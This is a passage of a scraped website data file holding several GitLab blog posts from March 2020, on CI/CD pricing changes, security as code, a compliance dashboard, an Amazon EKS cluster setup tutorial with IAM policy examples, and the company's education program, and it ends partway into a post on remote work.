Repositories","en-us/blog/partial-clone-for-massive-repositories.yml","en-us/blog/partial-clone-for-massive-repositories",{"_path":24608,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24609,"content":24614,"config":24619,"_id":24621,"_type":16,"title":24622,"_source":17,"_file":24623,"_stem":24624,"_extension":20},"/en-us/blog/free-period-for-cicd-external-repositories",{"title":24610,"description":24611,"ogTitle":24610,"ogDescription":24611,"noIndex":6,"ogImage":17364,"ogUrl":24612,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24612,"schema":24613},"The free period of CI/CD for GitHub is ending soon","The free-of-charge use of CI/CD for GitHub is ending soon, so you'll need to upgrade to continue using this feature.","https://about.gitlab.com/blog/free-period-for-cicd-external-repositories","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The free period of CI/CD for GitHub is ending soon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Parker Ennis\"}],\n        \"datePublished\": \"2020-03-12\",\n      }",{"title":24610,"description":24611,"authors":24615,"heroImage":17364,"date":24616,"body":24617,"category":736,"tags":24618},[17291],"2020-03-12","\n\n[CI/CD for GitHub](/solutions/github/) is a feature that lets you use any Git-based repository as a host in combination with GitLab CI/CD regardless of where your source code lives – [GitHub](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/github_integration.html), [Bitbucket](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/bitbucket_integration.html), or any other Git server. To introduce this feature to the large number of users with private repos hosted on GitHub.com, we made it available to users [free of charge](/blog/six-more-months-ci-cd-github/) for a limited time only.\n\nWe then [extended the free period](/blog/ci-cd-github-extended-again/) for an additional limited time. We’ve set the final end date for this free period for March 22, 2020.\n\nIf you wish to continue using [CI/CD for private external repositories](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/index.html) past March 22, 2020, you will need to upgrade your plan to at least a [Silver plan](/pricing/).\n\nOf course, you always have the option of migrating your project to [GitLab.com](https://docs.gitlab.com/ee/user/project/import/github.html). As part of our commitment to our value of transparency and open source, all public repositories on GitLab.com get all of the features in our top-tier Gold plan for free. If your repo on GitHub.com is public, then it gets mirrored to GitLab.com as a public repo and you have access to CI/CD capabilities.\n\nNote: If you are only using [repository mirroring](https://docs.gitlab.com/ee/user/project/repository/repository_mirroring.html#pulling-from-a-remote-repository) without CI/CD then you only need a Bronze plan to continue using this functionality.\n\nSo, what exactly does this mean for you?\n\n*  The ability to mirror private external repositories and run CI/CD on them will no longer be available as of March 22, 2020, unless the repositories have been made public or you have upgraded to an eligible GitLab plan.\n*  Since [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) can only be published through GitLab CI, users who were using a GitHub repository with private projects and haven't upgraded to an eligible GitLab plan will be unable to have private pages.\n\nWe've designed this process to be a smooth transition for our users. If you have any additional questions about the change, or how this impacts you and your teams, please don’t hesitate to reach out:\n*  For general questions or pricing inquiries, please contact our **[Sales team](/sales/)**.\n*  For technical questions or concerns, please review our **[Support options](/support/)**.\n\nThanks!\n",[110,4103,267,815],{"slug":24620,"featured":6,"template":678},"free-period-for-cicd-external-repositories","content:en-us:blog:free-period-for-cicd-external-repositories.yml","Free Period For Cicd External Repositories","en-us/blog/free-period-for-cicd-external-repositories.yml","en-us/blog/free-period-for-cicd-external-repositories",{"_path":24626,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24627,"content":24633,"config":24637,"_id":24639,"_type":16,"title":24640,"_source":17,"_file":24641,"_stem":24642,"_extension":20},"/en-us/blog/how-to-security-as-code",{"title":24628,"description":24629,"ogTitle":24628,"ogDescription":24629,"noIndex":6,"ogImage":24630,"ogUrl":24631,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24631,"schema":24632},"Why implementing security as code is important for DevSecOps","We created a DevSecOps assessment to help your company level up its DevSecOps capabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663618/Blog/Hero%20Images/how-to-implement-security-as-code.jpg","https://about.gitlab.com/blog/how-to-security-as-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why implementing security as code is important for DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2020-03-12\",\n      }",{"title":24628,"description":24629,"authors":24634,"heroImage":24630,"date":24616,"body":24635,"category":8943,"tags":24636},[22656],"\n## What is security as code?\n\nSecurity as code is a driving force in the future of [application security](/topics/devsecops/).\nAccording to O’Reilly, [security as code is the practice of building security\ninto DevOps tools and workflows](https://www.oreilly.com/library/view/devopssec/9781491971413/ch04.html) by mapping out how changes to code and infrastructure\nare made and finding places to add security checks, tests, and gates without\nintroducing unnecessary costs or delays.\nDevelopers can define infrastructure using a\nprogramming language with infrastructure as code. The same needs to happen to bring security to the speed of DevOps.\n\nAt a basic level, security as code can be achieved by integrating security\npolicies, tests, and scans into the pipeline and code itself. Tests should be\nrun automatically on every code commit, with results made immediately available\nto developers for fixing. By bringing security scans to the code as it’s written,\nteams will save both time and money by streamlining the review process later in\nthe software development lifecycle (SDLC).\n\n## Why is it important?\n\nSecurity as code is key to shifting left and achieving [DevSecOps](/solutions/security-compliance/): It requires\nthat security be defined at the beginning of a project and codified for\nrepeated and consistent use. In this way, it gives developers a self-service\noption for ensuring their code is secure.\n\nPredefined security policies boost efficiency, and also allow for checks on\nautomated processes to prevent any mishaps in the deployment process (like\naccidentally taking down the whole infrastructure because a problem wasn’t\nidentified in a staging environment).\n\n## Six security as code capabilities to prioritize\n\nFrancois Raynaud, founder and managing director of [DevSecCon](https://www.devseccon.com/),\nsaid that [security as code is about making security more transparent and\ngetting security practitioners and developers to speak the same language](https://techbeacon.com/devops/devseccon-security-code-secure-devops-techniques-track).\nIn other words – security teams need to understand how developers work, and use that\ninsight to help developers build the necessary security controls into the SDLC.\nDevelopers can reciprocate by staying open-minded as they adopt new tools and\npractices to boost security during the development process. Here are six best\npractices and capabilities to build into your pipeline:\n\n1. Automate security scans and tests (such as [static analysis](https://docs.gitlab.com/ee/user/application_security/sast/),\n[dynamic analysis](https://docs.gitlab.com/ee/user/application_security/dast/),\nand penetration testing) within your pipeline so that they can be reused across\nall projects and environments.\n1. Build a continuous feedback loop by presenting results to developers, allowing\nthem to remediate issues while coding and learn best practices during the coding\nprocess.\n1. Evaluate and monitor automated security policies by building checks into the\nprocess. Verify that sensitive data and secrets are not inadvertently shared or published.\n1. Automate complex or time-consuming manual tests via custom scripts, with\nhuman sign-off on results if necessary. Validate the accuracy and efficiency of\ntest scripts so that they can be replicated across different projects.\n1. Test new code within a staging environment to allow for thorough security and\nlow-impact failure, and test on every code commit.\n1. Scheduled or continuous monitoring should automatically create logs (or red\nflags) within a review dashboard (such as GitLab’s [Security Dashboard feature](https://docs.gitlab.com/ee/user/application_security/security_dashboard/index.html)).\n\n## Security as code is a best practice for a bigger goal\n\nSecurity as code gives pragmatic meaning to the concept of DevSecOps, but it\nshould not be your end goal. Ultimately, security as code is a means to get more people on board with integrating security throughout your\nSDLC. The idea will feel familiar to developers who\nhave practiced infrastructure as code, and it provides an opportunity for\nsecurity to step into the fray both to better understand software development\nand to help design the policies that will be codified in the process.\n\nAs your team works its way toward becoming a well-oiled DevSecOps machine,\nsecurity as code will inevitably present itself as a smart solution within a complex endeavor.\n\n## GitLab’s DevSecOps methodology assessment\n\nThere’s a lot to cover when standing up a DevSecOps process – so to help you\nmaster the key elements, we created a DevSecOps methodology assessment. Score\nyourself on 20 capabilities, and then use those scores to understand your DevSecOps\nmaturity level, and determine what actions your team can take to bring your DevSecOps to\nthe next level. [Download the assessment here.](https://about.gitlab.com/resources/devsecops-methodology-assessment/)\n\nCover image by [Tim Evans](https://unsplash.com/@tjevans) on [Unsplash](https://unsplash.com/photos/Uf-c4u1usFQ)\n{: .note}\n",[4103,674,110,1444],{"slug":24638,"featured":6,"template":678},"how-to-security-as-code","content:en-us:blog:how-to-security-as-code.yml","How To Security As Code","en-us/blog/how-to-security-as-code.yml","en-us/blog/how-to-security-as-code",{"_path":24644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24645,"content":24651,"config":24655,"_id":24657,"_type":16,"title":24658,"_source":17,"_file":24659,"_stem":24660,"_extension":20},"/en-us/blog/make-tracking-agreements-simple-compliance-dashboard",{"title":24646,"description":24647,"ogTitle":24646,"ogDescription":24647,"noIndex":6,"ogImage":24648,"ogUrl":24649,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24649,"schema":24650},"Make tracking agreements simple with our new Compliance Dashboard","New in GitLab 12.8, this dashboard helps to simplify the complex process of compliance tracking, right inside GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666985/Blog/Hero%20Images/compliance_dashboard.png","https://about.gitlab.com/blog/make-tracking-agreements-simple-compliance-dashboard","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Make tracking agreements simple with our new Compliance Dashboard\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Ward\"}],\n        \"datePublished\": \"2020-03-11\",\n      }",{"title":24646,"description":24647,"authors":24652,"heroImage":24648,"date":24653,"body":24654,"category":736},[23785],"2020-03-11","\nMany companies are required to meet compliance frameworks or standards by business or government bodies such as regulators. \nThese are things like SOC 2, [HIPAA](https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act),\n[Sarbanes-Oxley](https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act), and [GDPR](https://en.wikipedia.org/wiki/General_Data_Protection_Regulation).\nPretty much all of them have requirements such as the ability to manage who has access to what resources, a separation of duties, and a strong password\npolicy. And saying that you manage them is not enough, you have to be able to prove that these processes are in place. GitLab's compliance features help\nself-managed instance administrators enforce common compliance requirements, and help admins gather the reports and artefacts they need to prove they are\nmeeting these standards.\n\n[New in GitLab 12.8](/releases/2020/02/22/gitlab-12-8-released/), the [Compliance Dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html) \nsits on top of many GitLab features and allows you to see which settings relate to which policy, and the evidence artifacts you need. \n\n[For this first iteration](/releases/2020/02/22/gitlab-12-8-released/#compliance-dashboard), \nthe dashboard shows an aggregate view of approved merge requests in projects across your group, or across multiple groups. \nFor each merge request, you can see the title, who approved it, when they approved it, and the project it's part of. \nClicking the merge request takes you to the full details in our standard merge request view. \nFor other stakeholders involved in something like compliance audits, we have ways to visualize and export the data they need.\n\nFor example, you are an administrator responsible for compliance and you know that a project \nis not supposed to have any code deployments. On the dashboard you see a merge request that \nresulted in a code deployment, and you can look into the audit trail to see what happened.\n\nCurrently, the view looks similar to our existing project merge requests overview but abstracts \nit one or more levels up to group level(s), which is especially useful for those managing a lot of projects.\n\n![Compliance dashboard view](https://about.gitlab.com/images/blogimages/compliance_dashboard.png){: .shadow.large.center}\n\n## Future iterations on the Compliance Dashboard\n\nWe're planning on [adding more features to the dashboard](https://gitlab.com/groups/gitlab-org/-/epics/2768), including:\n\n-   [Merge request approval settings](https://gitlab.com/gitlab-org/gitlab/issues/208942)\n-   [Security scanning data with each deploy](https://gitlab.com/gitlab-org/gitlab/issues/208971)\n-   [Specific test results with each deploy](https://gitlab.com/gitlab-org/gitlab/issues/209028)\n-   [The results of pipelines](https://gitlab.com/gitlab-org/gitlab/issues/209029)\n\nWe will also add an overview of compliance policies, and which your team are not currently meeting. \nFor example, if your vulnerability management policy says that you scan every 90 days and it's been 91 days since the last scan, \nbut a merge request is still approved, we inform you of that policy violation. \nFor more development-focused teams who are new to compliance, these notifications will help prompt them to items that need attention and action.\n\nProjects hosted on GitLab are often an essential part of a business and their processes, \nand customers entrust us with their production environments and data. \nBut Git repositories and code projects present a potentially easy way for internal and external parties to introduce intentional or unintentional vulnerabilities and security risks. \n\nAnother party could insert malicious code into your production environment that introduces further vulnerabilities to you, and your customers. \nWith the Compliance Dashboard's current features, you can see from a merge request who, when and what they added, and remove the code responsible quickly.\nFuture iterations will detect any potentially malicious code automatically, and depending on your policy, prevent it from being merged, or alert you.\n\nAnother party could take secrets information for your production environment and share them outside of the company. \nOr more fundamentally, someone could invite them to a GitLab instance in the first place, leading to multiple other issues. \nFuture iterations will show you who invited whom to your projects, and what level of access they have.\n\nThe product manager behind the feature, [Matt Gonzales](/company/team/#mattgonzales) worked at a handful of smaller startups before joining GitLab. \nIn those roles, he juggled multiple responsibilities, but also handled legal and regulatory issues. \nTo begin with, Matt had to handle compliance with the [U.S.-EU Safe Harbor Framework](https://oig.hhs.gov/compliance/safe-harbor-regulations/index.asp), which evolved into the [EU-US Privacy Shield](https://en.wikipedia.org/wiki/EU-US_Privacy_Shield), which then became a supplement to the General Data Protection Regulation ([GDPR](https://ec.europa.eu/info/law/law-topic/data-protection_en)). \nAdd to that [PCI-DSS](https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard) if you handle payments, [CASL](https://crtc.gc.ca/eng/internet/anti.htm) (The Canadian Anti-Spam Legislation), \n[CCPA](https://www.oag.ca.gov/privacy/ccpa) for California, and myriad other regional and global policies, \nand a team can quickly become inundated with administrative tasks and requests for data. \nMatt knows how hard it is to manage these extra tasks in addition to their main work and hopes that the new features and dashboard are a helping hand to help lessen that work.\n\n### About the guest author\n\n_[Chris is a freelance technical communicator](https://chrischinchilla.com/) for numerous developer-focused companies. Happy creating text, videos, courses, and interactive learning experiences, in his spare time he writes games and interactive fiction._\n",{"slug":24656,"featured":6,"template":678},"make-tracking-agreements-simple-compliance-dashboard","content:en-us:blog:make-tracking-agreements-simple-compliance-dashboard.yml","Make Tracking Agreements Simple Compliance Dashboard","en-us/blog/make-tracking-agreements-simple-compliance-dashboard.yml","en-us/blog/make-tracking-agreements-simple-compliance-dashboard",{"_path":24662,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24663,"content":24668,"config":24673,"_id":24675,"_type":16,"title":24676,"_source":17,"_file":24677,"_stem":24678,"_extension":20},"/en-us/blog/gitlab-eks-integration-how-to",{"title":24664,"description":24665,"ogTitle":24664,"ogDescription":24665,"noIndex":6,"ogImage":23744,"ogUrl":24666,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24666,"schema":24667},"How to create a Kubernetes cluster on Amazon EKS in GitLab","A Kubernetes tutorial: Create clusters in a few clicks with GitLab and Amazon EKS.","https://about.gitlab.com/blog/gitlab-eks-integration-how-to","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to create a Kubernetes cluster on Amazon EKS in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2020-03-09\",\n      }",{"title":24664,"description":24665,"authors":24669,"heroImage":23744,"date":24670,"body":24671,"category":734,"tags":24672},[2816],"2020-03-09","Kubernetes has created a whole new world for running infrastructure at scale. With the right setup, an application can go from serving a few users to millions effortlessly. Setting up Kubernetes can be tasking and can require a lot of expertise to put all the pieces together. You’ll need to set up virtual or bare metal machines to use as nodes and manage SSL certificates, networking, load balancers, and many other moving parts.\n\nThe introduction of Amazon Elastic Kubernetes Service (EKS) was widely applauded as it streamlines the abstraction of the complexities in an environment most organizations are already familiar with and on a provider they already trust. Amazon EKS makes creating and managing Kubernetes clusters easier with more granular controls around security and straightforward policies of how resources are used.\n\nGitLab strives to increase developer productivity by automating repetitive tasks and allowing developers to focus on business logic. We recently introduced support for auto-creating Kubernetes clusters on Amazon EKS. In a few clicks with the right permissions, you’ll have a fully functional Kubernetes cluster on Amazon EKS. It doesn’t stop there however – GitLab also gives you the power to achieve the following use cases and more :\n\n* [Highly scalable CI/CD system using GitLab Runner](https://docs.gitlab.com/runner/): There are times like holidays when little to no changes to code are pushed to production, so why keep resources tied down? With the Amazon EKS integration with GitLab, you can install GitLab Runner with just a click and your CI/CD will run effortlessly without worrying about running out of resources.\n* Shared Cluster: Maintaining multiple Kubernetes clusters can be a pain and capital intensive. With Amazon EKS, GitLab allows you to setup a cluster at [Instance](https://docs.gitlab.com/ee/user/instance/clusters/index.html), [Group](https://docs.gitlab.com/ee/user/group/clusters/index.html) and [Project](https://docs.gitlab.com/ee/user/project/clusters/) levels. Kubernetes Namespaces are created for each GitLab project when the Amazon EKS is integrated at Instance and Project level, allowing isolation and ensuring security.\n* [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/index.html): Reviewing changes to code or design can be tricky, you’ll need to check out your branch and run the code in a test environment. GitLab integrated with Amazon EKS deploys your app with new changes to a dynamic environment and all you need to do is click on a “View App“ button to review changes.\n* [AutoDevOps](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html) takes DevOps to a whole new level. AutoDevOps detects, builds, tests, deploys, and monitors your applications, leveraging the Amazon EKS integration. All you have to do is push your code and the magic happens. In this tutorial, we will deploy a sample application to the Amazon EKS cluster we will be creating using AutoDevOps.\n\nTo show you how easy it is to create an Amazon EKS cluster from GitLab, the rest of this tutorial will walk you through the steps of the integration, starting with a one-time setup of necessary resources on AWS.\n\n## One-time setup on AWS to access resources\n\nFirst, we need to create a “provision\" role and a “service” role on AWS to grant GitLab access to your AWS resources and set up the necessary permissions to create and manage EKS clusters. You only need to perform these steps once and you can reuse them anytime you want to perform another integration or create more clusters.\n\n### Step 1 - Create Provision Role\n\nTo grant GitLab access to your AWS resources, a “provision role” is required. Let’s create one:\n\n1. Access GitLab Kubernetes Integration Page by clicking on the ”Kubernetes” menu for groups and Operations > Kubernetes menu for projects and click the “Add Kubernetes Cluster” button.\n2. Select “Amazon EKS” in the options provided under the “Create new cluster on EKS” tab.\n3. You are provided with an Account and External ID  to use for authentication. Make note of these values to be used in a later step.\n\n    ![Gitlab EKS Integration Page](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/gitlab_eks_integration_page.png)\n\n4. Open IAM Management Console in another tab and click on “Create Role”\n5. Click on the “Another AWS account” tab and provide the Account and External ID obtained from GitLab and click Next to set permissions as shown below:\n\n    ![AWS Provision Role](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/provision_role.png)\n\n6. On the permissions page, click on “Create policy.” This will open a new tab where you can set either of the permissions below using JSON:\n\n    ```json\n    {\n        \"Version\": \"2012-10-17\",\n        \"Statement\": [\n            {\n                \"Effect\": \"Allow\",\n                \"Action\": [\n                    \"autoscaling:*\",\n                    \"cloudformation:*\",\n                    \"ec2:*\",\n                    \"eks:*\",\n                    \"iam:*\",\n                    \"ssm:*\"\n                ],\n                \"Resource\": \"*\"\n            }\n        ]\n    }\n    ```\n\n    This gives GitLab full access to create and manage resources, as seen in the image below:\n\n    ![AWS Role Policy](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/create_role_policy.png)\n\n    If you prefer limited permission, you can give GitLab the ability to create resources, but not delete them with the JSON snippet below. The drawback here is if an error is encountered during the creation process, changes will not be rolled back and you must remove resources manually. You can do this by deleting the relevant CloudFormation stack.\n\n    ```json\n    {\n        \"Version\": \"2012-10-17\",\n        \"Statement\": [\n            {\n                \"Effect\": \"Allow\",\n                \"Action\": [\n                    \"autoscaling:CreateAutoScalingGroup\",\n                    \"autoscaling:DescribeAutoScalingGroups\",\n                    \"autoscaling:DescribeScalingActivities\",\n                    \"autoscaling:UpdateAutoScalingGroup\",\n                    \"autoscaling:CreateLaunchConfiguration\",\n                    \"autoscaling:DescribeLaunchConfigurations\",\n                    \"cloudformation:CreateStack\",\n                    \"cloudformation:DescribeStacks\",\n                    \"ec2:AuthorizeSecurityGroupEgress\",\n                    \"ec2:AuthorizeSecurityGroupIngress\",\n                    \"ec2:RevokeSecurityGroupEgress\",\n                    \"ec2:RevokeSecurityGroupIngress\",\n                    \"ec2:CreateSecurityGroup\",\n                    \"ec2:createTags\",\n                    \"ec2:DescribeImages\",\n                    \"ec2:DescribeKeyPairs\",\n                    \"ec2:DescribeRegions\",\n                    \"ec2:DescribeSecurityGroups\",\n                    \"ec2:DescribeSubnets\",\n                    \"ec2:DescribeVpcs\",\n                    \"eks:CreateCluster\",\n                    \"eks:DescribeCluster\",\n                    \"iam:AddRoleToInstanceProfile\",\n                    \"iam:AttachRolePolicy\",\n                    \"iam:CreateRole\",\n                    \"iam:CreateInstanceProfile\",\n                    \"iam:CreateServiceLinkedRole\",\n                    \"iam:GetRole\",\n                    \"iam:ListRoles\",\n                    \"iam:PassRole\",\n                    \"ssm:GetParameters\"\n                ],\n                \"Resource\": \"*\"\n            }\n        ]\n    }\n    ```\n\n    The image below visualizes what permissions are granted:\n\n    ![Limited Role Policy](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/limited_role_policy.png)\n\n7. Once the policy is created, return to the “Create Role” browser tab and refresh to see the policy we created listed. Select the policy and click “Next.”\n8. In the Tags section, we don’t need to set any Tags, except if it’s required in your organization. Let’s proceed to Review.\n9. Specify a Name for your new Role. You will see the policy we created listed under policies and click “Create Role” to complete the process.\n10. Click on the new Role you created in the list of Roles to view its details. You may have to search for it in the list of Roles if it’s not listed in the first view. Copy the Role ARN provided – we will need it on the GitLab Kubernetes Integration page.\n\n### Step 2 - Create Service Role\n\nThe Service Role is required to allow Amazon EKS and the Kubernetes control plane to manage AWS resources on your behalf.\n\n1. In the IAM Management Console, click on “Create Role” and select the “AWS service” tab.\n2. Select EKS in the list of services and Use Cases as shown below and click Next.\n\n    ![Service Role](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/service_role.png)\n\n3. You will notice the “AmazonEKSClusterPolicy” and “AmazonEKSServicePolicy” permissions are selected; these are all we need. Click through the Tags step and create if necessary, then click Next to get to the Review step. Click “Create Role” to complete the process.\n\n    ![Role Summary](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/role_summary.png)\n\n## GitLab EKS Integration\n\nThis is the easy part! As mentioned earlier, you only need to create the Provision and Service role once if you don’t already have them in your organization’s AWS setup. You can reuse the roles for other integrations or cluster creations.\n\n1. Return to the GitLab Kubernetes Integration page and provide the Role ARN of the Provision Role we created earlier and click “Authenticate with AWS.”\n\n    ![Gitlab EKS Integration Page](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/gitlab_eks_integration_page.png)\n\n2. Once authenticated, you’ll have a page to set the parameters needed to set up your cluster as shown in the image below and click on “Create Kubernetes Cluster” to let GitLab do its magic!\n\n    The parameters you’ll need to provide are:\n    * **Kubernetes cluster name** - The name you wish to give the cluster.\n    * **Environment scope** - The [GitLab environment](https://docs.gitlab.com/ee/user/project/clusters/index.html#setting-the-environment-scope) associated with this cluster; `*` denotes the cluster will be used for deployments to all environments.\n    * **Kubernetes version** - The Kubernetes version to use. Currently, the only version supported is 1.14.\n    * **Role name** - The service role we created earlier.\n    * **Region** - The [AWS region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) in which the cluster will be created.\n    * **Key pair name** - Select the [key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) that you can use to connect to your worker nodes if required.\n    * **VPC** - Select a [VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) to use for your EKS Cluster resources.\n    * **Subnets** - Choose the [subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in your VPC where your worker nodes will run.\n    * **Security group** - Choose the [security group](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html) to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets. AWS provides a default group, which can be used for the purpose of this guide. However, you are advised to setup up the right rules required for your resources.\n    * **Instance type** - The AWS [instance type](https://aws.amazon.com/ec2/instance-types/) of your worker nodes.\n    * **Node count** - The number of worker nodes.\n    * **GitLab-managed cluster** - Leave this checked if you want [GitLab to manage namespaces and service accounts](https://docs.gitlab.com/ee/user/project/clusters/index.html#gitlab-managed-clusters) for this cluster.\n\n    ![Gitlab EKS Integration Page](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/gitlab_eks_integration_post_auth.png)\n\n3. The cluster creation process will take approximately 10 minutes. Once done you can proceed to install some predefined applications. At the very least, you need to install the following:\n    - **Helm Tiller**: This is required to install the other applications.\n    - **Ingress**: This provides SSL termination, load balancing and name-based virtual hosting you your applications. It acts as a web proxy for your application, which is useful when using AutoDevOps or deploying your own apps.\n    - **Cert Manager**: This is a native Kubernetes certificate management controller, which helps in issuing certificates using Let’s Encrypt. You don’t need this if you want to use a custom Certificate issuer.\n    - **Prometheus**: GitLab uses the Prometheus integration for automatic monitoring of your applications to collect metrics from Kubernetes containers allowing you to understand what is going on from within the GitLab UI.\n\n    ![Gitlab EKS Integration Page](https://about.gitlab.com/images/blogimages/gitlab-eks-integration/gitlab_eks_integration_post_cluster.png)\n\n4. To make use of Auto Review Apps and Auto Deploy stages of [AutoDevOps](https://docs.gitlab.com/ee/topics/autodevops/quick_start_guide.html), you will need to specify a Base Domain name with a wild card DNS pointing to the Ingress Endpoint generated when you Install Ingress in the list of predefined apps.\n\n## Summary\n\nIn this tutorial, we looked at how GitLab integrates with Amazon EKS, allowing Kubernetes clusters to be created easily from the GitLab UI after setting the right permissions. As we’ve seen, developer productivity is greatly improved by no longer having to manually set up clusters. Also, the same cluster can be used for multiple projects when Amazon EKS is integrated with GitLab at the Group and Instance levels, thus making onboarding new projects a breeze. After integration, the possibilities of what developers can achieve is enormous.\n\nIn the next part of this tutorial, we will look at how to deploy your applications on an Amazon EKS cluster using AutoDevOps.\n",[2509,754,4144],{"slug":24674,"featured":6,"template":678},"gitlab-eks-integration-how-to","content:en-us:blog:gitlab-eks-integration-how-to.yml","Gitlab Eks Integration How To","en-us/blog/gitlab-eks-integration-how-to.yml","en-us/blog/gitlab-eks-integration-how-to",{"_path":24680,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24681,"content":24687,"config":24692,"_id":24694,"_type":16,"title":24695,"_source":17,"_file":24696,"_stem":24697,"_extension":20},"/en-us/blog/bring-gitlab-to-classroom-nearyou",{"title":24682,"description":24683,"ogTitle":24682,"ogDescription":24683,"noIndex":6,"ogImage":24684,"ogUrl":24685,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24685,"schema":24686},"How to bring GitLab to a classroom near you","Learn more about the education program at GitLab!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669503/Blog/Hero%20Images/susan-yin-library.jpg","https://about.gitlab.com/blog/bring-gitlab-to-classroom-nearyou","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to bring GitLab to a classroom near you\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2020-03-06\",\n      }",{"title":24682,"description":24683,"authors":24688,"heroImage":24684,"date":24689,"body":24690,"category":299,"tags":24691},[14215],"2020-03-06","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nJust over 2 years ago, we launched the education program at GitLab. Through this program, we provide students and faculty around the world, free, top-tier access to GitLab. Our continued goal is to enable the next generation of developers and DevOps professionals to learn GitLab while in school so they can become future contributors and evangelists.\n\nIn the spirit of iteration, the education program was started with little more than an online form and a backend process for issuing licenses. By its own merits, the program has grown to over *737 enrolled educational institutions*, from *67 countries*, and *nearly 1.5 million users*! I’m thrilled to announce that in 2020 we’ll be building on this organic momentum and taking the education program to the next level. This investment includes a new program manager ([me!](/company/team/#c_hupy)) and restructuring the program to better align our offerings with the way educational institutions teach, learn, and conduct research with GitLab.\n\nA little bit about me... Prior to joining GitLab in late 2019, I spent over a decade as a professor in the field of geospatial technology. I’m eager to bring the knowledge and experience I gained while serving in higher education to this new challenge. I also spent some time in the industry at an open-source tech startup where I developed a deep passion for bringing open-source technology into the classroom.  GitLab is a natural landing place for me to build on and expand on these passions.\n\nWe’ve got some exciting things on the horizon so please stay tuned for more details. We’d love to hear your input on how we restructure the education program so please **contribute** by commenting on our [Epic](https://gitlab.com/groups/gitlab-com/marketing/community-relations/-/epics/3). We’ll also be sending out a survey soon to measure how students and faculty are using GitLab in their teaching and research and to gather ideas on how we can better engage with our participants.\n\nIn the meantime, *are you using GitLab for teaching, learning, or research and have an interesting story you’d like to share?* Please reach out to us at education@gitlab.com. We'd love to share your story and inspire others.\n\nDon’t have GitLab? Don’t worry, you can sign up for the [education program on our website](/solutions/education/). Have questions about our program, check out our [FAQs](/solutions/education/#FAQ).\n",[6962,674,7715],{"slug":24693,"featured":6,"template":678},"bring-gitlab-to-classroom-nearyou","content:en-us:blog:bring-gitlab-to-classroom-nearyou.yml","Bring Gitlab To Classroom Nearyou","en-us/blog/bring-gitlab-to-classroom-nearyou.yml","en-us/blog/bring-gitlab-to-classroom-nearyou",{"_path":24699,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24700,"content":24706,"config":24710,"_id":24712,"_type":16,"title":24713,"_source":17,"_file":24714,"_stem":24715,"_extension":20},"/en-us/blog/resources-for-companies-embracing-remote-work",{"title":24701,"description":24702,"ogTitle":24701,"ogDescription":24702,"noIndex":6,"ogImage":24703,"ogUrl":24704,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24704,"schema":24705},"Resources for companies embracing remote work","We're sharing our comprehensive guide to remote work with companies who are now embracing a remote environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679651/Blog/Hero%20Images/gitlab-all-remote-cover-2560x1440.jpg","https://about.gitlab.com/blog/resources-for-companies-embracing-remote-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Resources for companies embracing remote work\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2020-03-06\",\n      }",{"title":24701,"description":24702,"authors":24707,"heroImage":24703,"date":24689,"body":24708,"category":736,"tags":24709},[19653],"\n\nDue to global issues concerning [COVID-19 